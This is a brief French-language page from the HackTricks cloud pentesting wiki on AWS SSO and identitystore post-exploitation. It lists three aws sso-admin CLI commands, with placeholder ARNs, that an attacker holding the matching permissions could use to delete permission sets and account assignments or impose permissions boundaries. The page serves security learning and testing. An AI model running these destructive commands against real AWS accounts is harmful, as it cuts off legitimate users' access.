hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md

AWS - SSO & identitystore Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

SSO & identitystore

Pour plus d'informations, consultez :

{{#ref}} ../aws-services/aws-iam-enum.md {{#endref}}

sso:DeletePermissionSet | sso:PutPermissionsBoundaryToPermissionSet | sso:DeleteAccountAssignment

Ces permissions peuvent être utilisées pour perturber les permissions :

aws sso-admin delete-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --permissions-boundary-policy-arn <PolicyARN>

aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>

{{#include ../../../banners/hacktricks-training.md}}